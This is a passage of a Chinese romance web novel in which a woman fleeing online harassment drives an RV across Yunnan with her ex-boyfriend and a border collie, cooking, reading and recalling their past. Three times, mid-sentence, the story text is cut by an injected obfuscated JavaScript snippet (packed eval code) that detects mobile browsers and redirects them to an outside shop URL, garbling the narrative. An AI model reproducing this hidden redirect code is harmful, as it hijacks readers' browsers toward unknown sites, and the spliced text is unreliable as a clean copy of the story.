时樾:听你的声音。 她又发一个问号。 时樾:翻书的声音,呼吸的声音,什么声音都好。 暧昧得心痒。景夏在床上囫囵吞翻了个,烙饼似的:我说这位朋友,你好痴汉啊! 时樾诚实:好像是有点。还是算了,换我来给你唱催眠曲好了。 为了听催眠曲,景夏当天悄悄喝了三杯咖啡。 隔着692km,时樾在子夜时分拨弄吉他唱起了歌。 【我站在你身后陪你出发, 你的笑让我无法, 无法沉默作答, 我只想说一句你愿意听吗? 你想听一千遍我会讲一万遍, 甚至无限。】 景夏将书扣在枕边,摸出手机,在网易云音乐的歌单里找到这首歌,放低音量,按下播放。 【世界这么大我陪你好吗, 我总怕有天会崩塌, 倔强的你不说要我陪你一下。 我不希望你孤单地去面对整个喧哗世界, 我不希望你孤单地去面对整个喧哗世界……】 在那个遥远的夏天,景夏在男人低吟轻唱中坠入安稳的梦乡,一觉睡到天亮。 “砰砰!” 紧接着——“夏夏!” 景夏一骨碌坐起来,陷入无尽恐慌。 “夏夏,醒了吗?”时樾的声音从窗边传来。 景夏缓了缓神,拉开床头的小窗。男人神色阴郁,语气虽然经过克制但依旧掩盖不住焦急,“收拾一下,我们得换地方。” “……什么?” “一个养金毛的宠物博主发了旅居plog,有张照片拍到了你和奇迹,营地已经被扒出来了。” 景夏抱着胳膊和睡得正香被薅起来的奇迹站在车边,两脸茫然。时樾迅速把越野倒过来,收起支腿,对准拖车钩,锁定,收轮,上保险绳,连13针线束。确保房车尾灯亮起后,他把奇迹抱上后座,折回来时,手里多了件外套。 “我们走吧。”他低声,似在安抚。 一阵暖洋洋的体温和洗衣液香气包裹住她,又带着她坐上了副驾。 远光灯划破无人的夜。 出营地的石子路不平,车子随之震颤。景夏的世界也在震颤。 手机开着蓝牙,自动连上了车载。睡前单曲循环的歌,出现在中控屏幕上。 《我不想你孤单的去面对整个喧哗世界》康姆''Z 歌声响起的同时,时樾看向了景夏。 她察觉到了,但她已经没力气去掩饰,甚至连单曲循环模式都没有切换,任由这首“催眠曲”在这密闭的车厢里响着。一直响着。 车子不断向前,他们像是在逃亡,将黑暗远远甩到身后。但更多更浓稠的黑暗迎面而来,冲进她的呼吸她的血液,冲破她的秩序她的人生。 等红灯的时间里,时樾从后座捞了条毯子,倾身,盖住她只穿了休闲短裤的腿,“我们先去抚仙湖营地,好吗?” 景夏没说话,呆愣愣地看了他一会,眼泪就这样无知无觉地淌了下来。 时樾立刻伸手,在指关节和她脸颊相距寸许时停顿,转而用T恤的袖口去拂那一串有一串的泪珠。他的眉宇隐在阴影中,景夏只能看到他紧绷的唇线和下颌。 绿灯亮了,车身从平稳回到轻微的颠簸。 景夏缓缓垂下眼皮,阖上眼。 电吉他和永驻用不标准普通话吟唱的旋律还在流淌。 【我不希望你孤单地去面对整个喧哗世界, 就在我身边, 你就在我身边, 永远。】 此时此刻,她不希望孤单地面对正在分崩离析的世界。 - 景夏赖床赖到傍晚六点,才晃悠悠爬出房车。 凌晨到新营地之后,时樾为了让她好好休息带奇迹睡的越野,免去她配合狗子生物钟的痛苦。上午她醒来一次,拉开窗帘发现车没在,人狗都没在,于是倒头睡回笼觉。 门一打开,奇迹闪现,时樾紧随其后,“饿了吗?” 景夏原地坐在台阶上,呼噜小狗的小脑瓜。视野里,男人的休闲牛仔裤垂过脚面,白色板鞋侧面粘了几根绿油油的碎草。她闷着头,“嗯。” 那双鞋消失,再回来时伴随着一阵冷饭香,“我记得车上有微波炉,热一下再吃。” “……哦。”景夏往边挪了挪。 在微波炉高速运转的嗡嗡声中,时樾拉开遮阳篷,将越野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276290|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那侧的露营桌搬来支好,还调整了下椅子的位置。 景夏腹诽这反客为主的行为,但始终没抬头。因为光线太强,因为风太大,因为睡太久,因为……因为后知后觉的不好意思。 半夜哭什么哭!哭哭哭,福气都被你哭没了! “先吃饭。” 景夏回神,热腾腾的酸汤牛肉和清爽可口的百香果柠檬鸡爪已上桌,拆开的一次性筷子也已架在米饭碗沿。她松开奇迹,慢吞吞地走过去坐下。 时樾坐在旁边,离桌子略远,奇迹便很有眼色的爬到他腿上,将自己团成一个甜甜圈。 一口无骨鸡爪下去,酸辣同时在口腔里迸开,很能勾起食欲。景夏咽下,依然不看他,“你不吃吗?” “你吃。”时樾说。 “……”别扭。 别别扭扭地闷头吃到一半,时樾突然扣扣桌面,说:“抬头。” 神游的景夏被奇迹附体,莫名跟着指令走,冷不丁抬起头来,冷不丁坠入一片橘子海。 落日染红了湖面,远山投下钴蓝的暗影,涟漪自地平线泛起,又载着浮光而来。 景夏放下筷子仰进椅背,后知后觉地明白过来他调整桌椅方向的原因。 红日空悬的时刻,时间总是会静止的。 就像那个同样遥远的日落时分,她和时樾肩并肩面朝夕阳,在长市城墙上骑车。 他们在落日飞车,连麦的耳机里循环播放的也是落日飞车。 IknowyouknowIloveyou. 这首歌和那几经按耐依然狂烈的悸动,永远停留在她的记忆最深处。 景夏下午看完了《格外的活法》,也看到了经整齐画线标注的句子。 【路变窄了,但还可以走。】 【书连接着另一个世界。】 蔚蓝挤掉最后一点暖色,送来夜风凉爽,吹散残留的阴云。 景夏说:“明天出发,继续向西走。” “好。”时樾应,然后,“我买了芒果,现在想吃吗?” “……”景夏眯眼看他,“你一定要跟着我?” “嗯。”时樾端起她的饭碗,用她用过的筷子,自然而然地吃她的剩饭。吃了会,兀自绷唇笑了下,有点无赖,又似在自嘲,“你就当我良心不安,走这一趟来赎罪吧。” ———————— 7月27日,自驾旅行书单第3期 推荐书目,吉井忍《格外的活法》 “吉井忍走访12位不同行业、不同背景的普通人,展示了12种格外的活法。有辞职开一家独立小书店的女子,有耗尽19年亲手盖一座理想建筑的建筑师,有以垃圾回收员谋生的喜剧演员……他们并不是世俗意义上的成功者,但却在主流价值观之外坚守自己的位置。” “和《东京八平米》一样,吉井忍的文字总是温暖细腻,娓娓道来。” “我最喜欢的一个单元是‘老太太便当好了’。一位摄影师以为独居老人送便当作为生计来源,近距离看到他们的生存环境,对衰老的看法从世俗眼中的可怜——到发现每一条皱纹、每一次努力吃饭、每一个笑容中蕴藏的无穷生命力。” 景夏有些紧张。她不知道在这样铺天盖地的攻击中坚持更新是对是错,但她希望在洪流中起码坚持住一个锚点,一个让她不迷失的锚点,一个让她继续向前走的锚点。 越野车的车灯还亮着,隐约可以看到里面的人影。那抹温度穿过两层玻璃,慢慢地烘烤着,紧绷的神经一点点松解。瓷碗里,被切成小块的芒果散发香气。她捧着颇有重量的书,慢慢地读着。 “平时可能没法感觉到,纸质书本身的重量和手感在非常时刻能够给人一种安慰。” “路变窄了,但还可以走。晚安。” 衍生书单推荐: 《山茶文具店》小川糸 《闪闪发光的人生》小川糸 《法比安》埃里希·凯斯特纳 8. 第 8 章 景夏在一个又一个鸡翅正反两面划三道平行线,时樾蹲在旁边往垃圾桶里撕洋葱皮。 因为她打算在途径的地方多停停多逛逛,不走高速,所以专门去市场赶了个早集,买了些新鲜食材以备不时之需。 ……两个尾巴一直跟着。 尾巴1号窝在无人的小沙发上,用脑袋拱毯子玩。尾巴2号处理完洋葱,起身,“蔬菜放哪里?” “冰箱。” 时樾熟练打开冰箱锁扣,将几个碗碟和盒子落好。 景夏忍了忍后问:“你之前开过房车吗?” 时樾洗干净手,关掉龙头,“没有,怎么了?” “开锁扣——”景夏冲前车努嘴,“支遮阳篷,连车钩,你怎么这么熟练呢?” 时樾在T恤上蹭了下手,笑,“提前学的。” “嗯?” “来的路上,搜了下这个型号的房车,提前看视频学的。” “……” 见景夏满脸黑线,时樾适时转移话题,“需要帮忙吗?” “不用。”她没好气,将鸡翅揽进密封盒,和调料均匀抓拌。今晚想吃贵妃鸡翅,倒红酒那种。 “嗡嗡——” 景夏和时樾同时回头。 奇迹蹭一下站了起来,竖起耳朵左顾右盼,寻找声音来源。 “嗡嗡嗡——” 景夏举着黏糊糊两只手,“我手机。” 时樾呼噜了一把傻乎乎的奇迹,探身拎起毯子,露出躺在下面的手机,“微信电话,金阮。” 特殊时期,电话不通她肯定担心,所以景夏没犹豫,“接,免提。” 于是时樾戳弄了两下,将话筒冲她这边。 金阮开口前,景夏抢先一步,“我这边开免提,旁边有人。” 那边停顿了下,然后自然而然道:“干嘛呢?” “准备食材,待会出发。” “可以,看来和狗相处的不错嘛?” “噗——咳咳咳!” 昨天晚上通话,金阮得知时樾增驾C6追来之后,连续爆发三个“我靠”,然后直截了当地问:“你俩是不是要复合?” “复合个辣子。”景夏冷嗤。 聊了会一整天的经历,金阮说:“在这种特殊时候有人陪着你,我也能放心点……不然我都想飞过去陪你了!” “不上班啦?而且你之前不是警告我时过境迁旧人可能早就面目全非,这会怎么又放心了?” 金阮理不直气也壮,“和路上捡的野男人比,前男友还……算靠谱叭?” 这话景夏无从反驳,但心理还是别扭,“我其实有点矛盾。有点不想让他跟着,但又有点……” “有点庆幸他在这里。” “嗯。”她是个好普通的人,时而坚强,时而脆弱。在这样的时期,她是可以一个人,但不想一个人。 金阮曰:“你不是养着蝈蝈和奇迹吗?你就当他是宠物三号,也是狗,还是随叫随到能干活能护主那种狗,什么时候你不爽了就让狗滚下车。” “咳咳咳——”景夏呛得两颊发烧。时樾把手机放在台面上,赶紧倒了杯水递到她唇边。她就着他的手喝了好几口才顺过气,但嗓音非常明显地哑了,“今天、咳咳——周五,你不上班吗?” “上啊,地铁上呢,还有一站。”捣乱之后金阮也在憋笑。 时樾乖乖端着景夏的陶瓷杯,素色杯身上是简笔画的乖巧蹲坐小狗。 “……”她快要憋不住了,“得,你好好上吧,挂了!” “等会等会。”金阮正色,“最近别上网,有啥事我跟你说啊!” “知道。” “路上一定注意安全。要是实在不行……就把头发染回来吧,蓝色显眼,容易被拍。” 金阮交代了好多,直到地铁到站才挂了电话。 景夏腌上鸡翅洗了手,时樾还端着杯子立在原地。她用眼神打了个问号。 时樾的视线落在她的头顶。今天她将头发束成丸子,一个蓝色的丸子,“头发的颜色,想染回来吗?” “不想。”她撇嘴,开始收拾案板和菜刀。 身后,时樾说:“嗯,不想就不染。” 出发前,景夏把车挪到营地卫生间旁边,连水管加水。时樾趁这点时间去卫生间隔壁的浴室洗澡。 “别哼唧,等会就回来了!”她无奈地拍拍直冲他消失的方向的小脑瓜,“你个小狗怎么这么粘人啊?” 奇迹:“汪!” 也不知道在说“我就这样”,还是“我没有”。 奇迹端坐在脚边,时不时动一下耳朵,时不时挪两只前爪,感觉急得很。景夏看不下去,蹬上帆布鞋起身,“走,带你跑一圈!” 奇迹看看她,看看卫生间。 景夏小碎步跺脚,“走!” 奇迹终于抵不住诱惑,撒开腿追了上来。 小狗都喜欢追逐游戏。 景夏跺脚追它,它急火火逃跑。景夏反方向跑,它又急火火追,追上就咬她的牛仔裤裤边。 正当她拖着挂在腿上的奇迹往前挪动时,耳边传来一声“奇迹”。 时樾赤着上身就跑了过来,忽略掉奇迹摇尾巴的欢快,严厉道:“不可以,不能咬裤腿知道吗!” 一人一狗都垮了脸。 景夏嘟囔,“玩呢,没事……” 察觉有人撑腰,奇迹转身就朝景夏身上扑。时樾在它脑瓜上拍了一把,蹲下,“不可以扑人!坐好!” “它只是个小狗,我不想过分约束它。” 奇迹乖乖坐下了,耷拉着尾巴,观察时樾的神色。等它彻底安静下来,他起身,套上水洗灰短袖,“但它总归要回到城市生活,养成坏习惯不管是对狗还是对人,都是不负责任的表现。边牧这个品种本身就容易出行为问题,得好好引导。” 从理论还是实践,景夏都无从反驳,只得撇撇嘴说:“都十点半了,走吧。” 时樾率先跑向车边,卷起长长的水管。 - 绕过滇池,城市的高楼渐渐被甩在身后,取而代之的是低矮的土培房,和绵延起伏的苍翠群山。白云厚厚地堆在天边,还是遮挡不住强烈的紫外线。 景夏眯眼,盯着蜿蜒向前的道路。 开启货车模式的导航时不时播报路况,偶尔提醒哪座桥限高限重。奇迹坐在后座,从中控上方的空隙朝前看,哈哧喘气的声音几乎在耳边。浓郁的香气提醒她还有没喝完的咖啡。 手刚离开方向盘,随行杯就开了盖,出现在唇边。 景夏僵了僵,然后咬住吸管,喝了几大口。杯子放回去,时樾就安安静静坐着。 沿着京昆线一路向西,天气渐阴,路上的车也多了起来。 景夏前方是一辆白色中型货车,本地车牌,车尾巴盖了灰,被写了一行字。 “小猪不喂不长大,婆娘不拷不听话。” 上方,糊得认不清的痕迹之间,隐约还能辨认“媳妇当狗”几个字。 她狠狠咬住后槽牙。 双向单车道,加上弯道多往来大车多,没有超车条件,景夏只能一路跟,一路被恶心。 过了几个隧道,绕了几个山头,终于出现人迹。国道横穿不知名村落,路边开着几家饭店,对面还有一片开阔的空地。白色货车打左转向。 景夏慢刹,也打开左转向驶入空地,专门停在了货车后头。正要下车,时樾动作更快,“我去。” 他绕过车头,用湿巾一个字一个字擦过去。久积的灰见了水,泥顺着擦过的纹路往下流淌。 司机察觉动静跑过来,一脸凶相,“哎哎!干什么呢!” “替你擦车。”时樾平静地应了声。重新抽了张湿巾,擦掉最后一个字和泥水淌过的痕迹,然后把脏纸巾攥进掌心,后退了两步。 司机仔细检查了下车尾的锁,一脸莫名其妙。时樾还是平静地看着他,挑不出毛病,最后骂骂咧咧地进了家小饭店。 彝族农家菜。 小小的店面里人影憧憧,估摸都是这片空地上停着的大车的司机。 “十二点半了,饿吗?”景夏一条腿着地,搭着车门问。 “我去问问狗能不能进。”时樾三两步跑过马路掀起帘子,过了会,回过身比了个手势,喊:“你和奇迹进去坐,我去洗个手!” “奇迹过来!”景夏一边拴绳,也喊,“你吃什么?” “都行!” 景夏带着奇迹在角落找了个座,老板阿姨立刻拿来塑封的菜单。 她茫然地盯着完全无法判断味道的菜名良久,最后点了“凉拌松毛树皮”和“南瓜尖汤”,又点了个特色菜“锅烧”。 “凉拌松毛……树皮?”时樾用纸巾擦湿淋淋的手。 景夏抓抓脑壳,“昂,咋啦?” “……没事,好着呢。” 景夏不知道好不好,虚得很,眼珠子到处乱转。恰好看到坐在斜对面的白色厢式货车的司机。 “你……”她不知道怎么说。 时樾伸手,擦拭景夏这一侧的桌面,”为什么擦那一行字?” “你以前不是说一个人的努力杯水车薪,嫌我多管闲事吗?” “你以前不是说,即使解决不了问题,也不要成为问题本身吗?”时樾蹙眉,“而且我什么时候嫌你多管闲事了?” “你每次都唠唠叨叨的……” “哪一次?” “比如——第一次。” 时樾无奈,“那老头完全不讲理,恼羞成怒还要伸手打人。我唠叨不是说你多管闲事,我的意思是你得先保护好自己再帮助别人。” 景夏哼哼,“我没保护好自己吗?” “那黑指甲抓我胳膊上就是一道血痕,要是抓你脸上怎么办?”时樾顿了顿,语气放缓,“问题不在你,在对方,在我,也在冷漠的看客。” 那是时樾第一次来长市,在暑假的尾巴。也是琼岛一别后的见面。 落日时分在城墙上骑车,去电玩城投篮机疯狂刷分,在电话亭ktv里听时樾唱歌,在子夜时分并肩压马路,暧昧一分一秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276291|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地疯长。 离开那天,景夏送时樾去高铁站。 地铁换乘的时候人多,大家都在有序排队先下后上,突然冒出一个老头拎个大包闷头就是挤。她原本只是投去一个白眼,没想到那老头不仅挤还推搡,直接推倒了一个学生打扮的女孩。 后方乘客没看到前面,还在依次上车。景夏赶紧喊:“有人摔倒了!都先别动!” 时樾则立刻去扶那个女孩。 在大家配合下,很快秩序恢复如常,列车启动。 女孩站稳后,时樾收回手。景夏上前一看,她额头上已经鼓起一个包,可能是疼也可能是委屈,有些抽噎。再一看,老头安安稳稳坐着,对自己的行为没半点内疚。 景夏毛了,“你把人推倒受伤不需要承担责任吗?” 老头两只胳膊上下一搭,“你可别在这胡说!” “地铁车厢可都是有监控的,咱们下站下车,找工作人员查!” 一说监控,老头有点慌,随之而来的就是一系列脏话,“我凭什么下车?谁看见了?这么多人谁看见我推了?你去问,谁看见了?” 车厢内霎时一片寂静,只有女孩持续不断的哭泣声。 越是孤立无援,她就越不能退缩。景夏据理力争,反复强调下车解决,老头见她死咬不放,眼看列车即将到站,急了,挥着满是污垢的手想打她。 一直站在旁边的时樾迅速去挡,手臂落下一道血痕。他没和老头废话,护景夏后退了两步,“到站之后喊工作人员或者安全员来。” 车门打开,工作人员恰好就在门口,带着当事人和目击证人下了车。说清楚来龙去脉,两人打车赶到高铁站时已过发车时间。 景夏站在北广场进站口,左脚鞋尖蹭地,“不好意思……” “后一趟也就晚四十分钟,不影响。”时樾翻看腕表,“还有二十五分钟,可以再待会。” “刚才你应该先走的。”时樾着急赶回去是导师那边有事,所以她还是过意不去。 “当然要陪你一起。”他顿了顿,“以后遇到这种事……还是要谨慎。” 景夏神色淡了下去,“你觉得我不该和老头起冲突。” 时樾握住肩带,把包往上送了送,“我个人不赞成,因为我怕你受伤,我怕没有人站出来帮你,毕竟男女体力存在差异。” “但如果我袖手旁观,那有一天我需要帮助的时候,也不会有人施以援手。” “很多正确的事,是需要承担风险的事。保护自己是第一位的。”时樾叹了口气,眼底蓄着担忧,“要是我能赶紧毕业就好了。” “嗯?”这跨越程度。 临近分别时樾本身就蔫巴巴,这会更蔫巴,“毕业就可以经常过来陪你。一开学我肯定很忙,不一定每周能过来。” 头回听他说这些,景夏有些惊讶。毕竟时樾比她小两岁,对未来的考量通常会少一些。 时樾舍不得移开目光似得定定看了她半晌,“我只要有空就来。但我不在的时候,你不管做什么,一定要保护好自己嘛!” 板板正正帅小伙,非爱用嘛作为语气词,撒娇似的,让她心底直发软。 十分钟转瞬既逝。 时樾千拖万拖,还是要检票进站了。 景夏说:“抱一下。” 人来人往的进站口,女孩刚垫起脚揽住男孩的脖子,恰巧被路人撞了下,彻底失去重心,重重扑进了时樾怀里。 第一个拥抱,是很扎实的拥抱。 景夏感觉有点丢人,于是匆匆撤身负手。 时樾转向检票口,又转了回来,“再抱一下。”与此同时弯腰弓身,双手绅士地落在她的肩背。 第二个拥抱,是很温柔的拥抱。 景夏离开时,其实察觉时樾隔着玻璃一直在看她。但她没回头,因为她已经在计划九月初去一趟山城。 因为这个男孩,只能,也必须是她的。 菜上齐了。 凉拌树皮虽然听起来恐怖,吃起来酸辣脆爽,很是下饭。锅烧比较像把子肉,香是香,就是吃多了有点腻。 景夏挑自己爱吃的填饱肚子,剩下的由时樾解决。他一边吃,还不忘教育闻到肉味扒凳子的奇迹。 结帐时,老板阿姨操着浓重的口音和景夏说话。 景夏听不懂,一个字都没听出来。她什么方言都不会,且毫无天赋。 这时,时樾亮出付款码,“我们就是走走停停,往楚雄走。” 阿姨又说了几句。 时樾:“远吗?” 阿姨:“%》*。” 景夏的头像个拨浪鼓摇来摇去。 终于,时樾把自己的手机递给她,解释:“老板说附近有个村子在金沙江边,景美人少,就是得绕四十公里,去吗?” 照片上,山峦叠嶂,一棵像西兰花一样标准的参天大树独自坐落江畔。 景夏毫不犹豫,“去。” 时樾接过奇迹的绳子,轻笑,“走吧。” 她忽然有了自己正在旅行的实感。 9. 第 9 章 “快快快拉这边!” “我来,你先上车!” “别废话先撑起来!” “……那你往篷底下站。” 遮阳篷终于拉起来,两个落汤鸡站在底下面面相觑,怅然若失。正前方,照片上那棵像西兰花一样的树被雨雾蒙蒙掩盖美丽,金沙江和远山已沦为白色背景板。 在这没有尽头的无语凝噎中,只有落汤狗自得其乐,钻进深草积聚的水坑中翻滚不停。 时樾抹了把脸,“去洗澡,别着凉。” “……该死的雨季。”头发淌着蓝水的景夏叹气,转身上车。 驻车其实比想象麻烦许多,除了机械上的操作,还得把行车前收到柜子里的生活必需品一件件摆出来。 所以她洗完时樾洗,时樾洗完,两人一起给狗洗,完全顾不上尴尬。 狭小的卫生间被折叠盆占满,景夏坐在马桶盖上,时樾只得蹲在走廊。奇迹站在盆里,一会头朝外,一会转个圈屁股朝外。 “别动!”时樾凶它。 景夏瞪他一眼,温温柔柔地说:“奇迹不动,很快就好。” “……”时樾闭上了嘴。 奇迹不动了,只是回头冲时樾咧嘴,示威似的。 洗狗是个体力活,洗长毛狗是体力中的体力活——且废水,光弄湿就花了好一会功夫。 景夏用力搓脊背,瞅见盆里的泥水直发愁,“水用完还洗不净怎么办?” 时樾拎起狗爪从嘎吱窝洗到指甲盖,“那就把奇迹放车顶,淋淋就干净了。” “……说人话。” “从坡下去是金沙江,去江里洗。” 还好奇迹争气,搓了一遍冲了两遍,就看不出一小时前在泥坑打滚的惨状了。 景夏满意地将盆折叠好,靠在花洒下面,正要拿墙上挂的毛巾,一股大力来袭。她被拉胳膊拽出了卫生间,“砰”一声门在面前关上。而关上的前一秒,她在额头撞击时樾下巴的头晕目眩中,看到奇迹摆动身躯时飞溅的水滴。 景夏揉着脑壳站直,时樾已经收了手,乖乖站在旁边,眼神很是无辜。他在短袖下摆蹭了下手,深色水痕晕得更大了些,“没、没事吧?” “有事!”景夏拉开卫生间门。奇迹和两人对上眼,转了个圈,卯足力气——于是景夏又把门闭上了。里头狗动脱水的声音和洗衣机脱水似的,哗啦啦哗啦啦,特有劲。 “噗哧!”她一个没忍住。 于是时樾也笑,笑了会,又小声问:“撞疼了吗?” “撞疼能怎样?” 时樾不笑了,“对不起。” 于是景夏把给奇迹吹毛梳毛的巨型工程撇给了他。 吹风机嗡嗡响,盖过了铺天盖地的雨声。景夏斜坐在沙发上,翘起湿漉漉的脚晾着。奇迹不喜欢吹毛,屁股宁次躲来躲去,于是风就吹了过来,落在她的脚上、膝盖上,落在她提着裤腿的手上,又扬起半潮的发丝。 暖洋洋的。 时樾蹲在奇迹面前,很有技巧地拎住它命运的后脖颈。他穿着件纯黑T,捏着她的粉色吹风机,眉头还拧得很紧,很专注,在阴天的自然光里显得轮廓愈发深邃硬朗。 她静静看了很久。 在一起的时间,时樾没给景夏做过饭,景夏没给时樾做过饭,两人也没一起做过饭。 景夏开始庆幸没一起做过饭。 “你别把洋葱和芹菜放在一起,炒得时候不一起放!” “只剩下一个空碟子,我分两半放的。” 景夏用力拽柜门,第一下还没打开,第二下才展示里面立着的木盘,“能不能问我一声?” 时樾沉默,“……对不起。” “贵妃鸡翅不放洋葱!!!” “贵、妃——鸡翅?” 一回头的功夫甜口变咸口,景夏气得脸都变了,“洋葱是给牛仔骨配的!!!” “不是做黑椒牛仔骨吗?” “黑椒牛仔骨里不能放洋葱吗?!” “……我没放过,对不起。” 几番下来,景夏一扔筷子,“你做吧我不做了。” 时樾举起双手,整个人局促无措,很小心地提问:“那鸡翅——” “你想怎么做怎么做。”景夏洗完手,往沙发一坐,毯子一盖,书往手里一掂,眼不见心不烦。 雨水不知疲倦地从窗玻璃冲刷而下。 “唰啦!”洋葱小米辣爆香。 紧接着是框里哐啷的锅铲锅沿碰撞声。 书上一个个紧挨的字扭来扭去,景夏向窗户看去,应在玻璃上的瘦削的背影格外清晰。 他在电磁炉上掂了几下勺,小臂肌肉隆起筋络凸出。翻炒、放盐,很是麻利。热汽蒸腾升起,填满了整个空间,又添上烟火气。 她向更远的地方看去。那棵树孤零零立着,摇枝晃叶,巍然挺立,时间在它的躯干上静止。 景夏忽然想起来,自己还在被网暴被人肉,还有许许多多的烦恼和有待思索的命题。 在这无人的旷野,直面自然,她仿佛在平行世界,过着平行人生。心也很安定。 爆炒出来的鸡翅很好吃,和贵妃鸡翅不一样的好吃。 景夏吐出一个又一个鸡骨头,然后一不小心对上时樾蕴了笑意的眼。她啪地打了奇迹的屁股,“别扒!小狗不可以吃鸡骨头!” 正专注于啃拖鞋的奇迹:? 景夏放下筷子,一直捏着筷子却运功似的没怎么吃的时樾这才开始夹菜。他吃得很快,风卷残云,三两分钟就解决了战斗。 她本来吃得就撑,看得更撑了,“你这两天一直没吃饱?” “嗯?”时樾将鸡骨头挑进垃圾袋,“我一直吃饭快,习惯了。” “哪……”景夏差点脱口而出,还好憋住了,“谁洗碗?” “我。”时樾从善如流,虽然他在几句话前就开始动手了。 哪门子的一直哪门子的习惯,景夏腹诽。之前吃饭是比她快,但还在正常人的范围,现在简直是饿的有上顿没下顿的野兽,或者啃一小会就会被没收骨头的小狗。 短短两天,时樾已经摸清了所有厨具用品的位置,干活也麻溜。景夏看了一会发现没什么需要“指导”,便换了鞋,拎着茶壶茶碗下车。刚才洗澡的时候时樾已经支起户外桌椅,她坐下,撕开一包正佛手种抖进茶壶,滚水冲泡之后立刻出汤,倒进公道杯。 揣手等了会,景夏摸摸杯壁。听了会雨声,又摸了摸杯壁,掌心已经没有了温度。她倒进敞口茶碗里一口一口喝完,将九十度左右的水重新注入。 身后传来鞋子踩进湿透草坪的啪嗒声,景夏把另一只茶碗推到旁边。 时樾拉椅子坐下,在T恤下摆蹭掉手上的水珠,“奇迹睡着了。” 平稳流淌的茶汤歪出去三十度。景夏觉得哪不对,又说不上来,“昂。” “裤腿沾了泥的地方我用洗衣液搓过了,明天到营地加满水之后直接扔洗衣机。” “谁的裤子?我换下来的牛仔裤?” “嗯。”时樾将茶碗送到嘴边,一饮而尽。 “……” 景夏惊觉哪里不对。 这对话不像是分手五年后再相见的前男女友,像是结婚五年育有一子的夫妇。 时樾接过她手里的公道杯,先给她倒,再给自己倒,“很好喝,是什么茶?” 景夏信了他的鬼话,“给你什么不好喝?” 时樾再次一饮而尽,“……就是好喝。” 茶一盏一壶见底,雨一点一滴绵续。 中间景夏翻了会书,但看不进去。于是丢到桌上,支下巴望天,愁容满面。 时樾忽然站起来跑向前车,冒雨在后座翻腾了一阵,又冒雨跑了回来,右手从下摆塞进衣服里,显得鼓鼓囊囊。景夏瞅他刚又潮湿起来的头发,有伞两个字卡在嘴边。 他小心地提起衣摆,一抹橙色从余光中出现在视野。 景夏默了默,“你带了多少书?” “就两本,没了。”时樾指尖点了下书皮,又指头顶,“现在是雨层云,能看到破云片。下雨虽然很烦,但收集晴天看不到的云彩。” 橙色封皮上写着《云朵收集者手册》,Thecloudcollector''shandbook。 封皮触感干爽,翻开,每一页是一种云朵类型的图片介绍和观测记录,包括日期时间地点天气条件。她从目录找了下雨层云。 【当人们抱怨云彩真无聊的时候,通常说的是雨层云。这种浓厚、灰暗、没什么纹理的雨云让别的云彩也背上坏名声。*】 景夏挑眉,继续读了下去。 【只有两类云由于经常带来降雨或其他降水而被定义,其中一类就是雨层云,另一类则是暴风雨到来时的积雨云……当云体阴暗、降水量中等或较大、模糊的云底出现颜色更深的碎层云——破云片(第47页)时,我们就可以确认收集到的是雨层云了。*】 景夏翻到47页看看照片,又翻回来看看照片,最后抬头看看。 是雨层云和破云片没错。 时樾从裤兜掏出根笔,递给她。 有备而来。景夏接过,在日期那行写下7月28日。 最最讨厌的下雨天,也因为这几个字而多出趣味。 《云朵收集者手册》和一直翻看的《见树又见林》并排,放在了远离茶壶的地方。 时樾问:“又看一遍吗?” “嗯。”景夏顿了顿,“还记得呢?” “当然。”时樾手臂搭在膝头,“善良是不仅仅看到自己的委屈和被压迫,更是要用这样的心里去理解其他边缘处境,尽量选择阻力更大的路,站在弱者那边**。这句话我一直记得。” 这个姿势,景夏恰巧能看到他手臂内侧暗紫的、蜿蜒崎岖的陈年伤疤。 早上他赤着上半身的样子浮现在眼前。和五年前长期泡健身房练成的穿衣显瘦脱衣有肉的身材不同,现在的他穿衣显瘦,脱衣更瘦。不是干瘦,而是那种体脂率极低、肌肉线条过于明显的精瘦,肋骨、脊柱、蝴蝶骨,根根分明。 还有、掌心厚厚一层泛黄的茧子。 看来骨外科医生抡锤子的传言颇有可信度。 久别重逢将近一个月,景夏第一次心平气和地开口,“这些年,过得好吗?” 漫长的沉默后,时樾笑笑,“挺好的。” 挺好的,只是变得不一样了。 五年前的时樾是生动的。 如果景夏怒吼:“黑椒牛仔骨里不能放洋葱吗?!” 时樾会立定站好,摇晃她胳膊,“我错了,下回一定提前问清楚。你别生气嘛!” 如果景夏抱怨:“又又又下雨,烦死了!” 时樾会冷不丁亲她一下,“那别看天了,看我嘛!都有半个月没见到面了,看我看我!” 旋即景夏意识到,自己也不一样了。 如果时樾问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276292|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看一遍吗?” 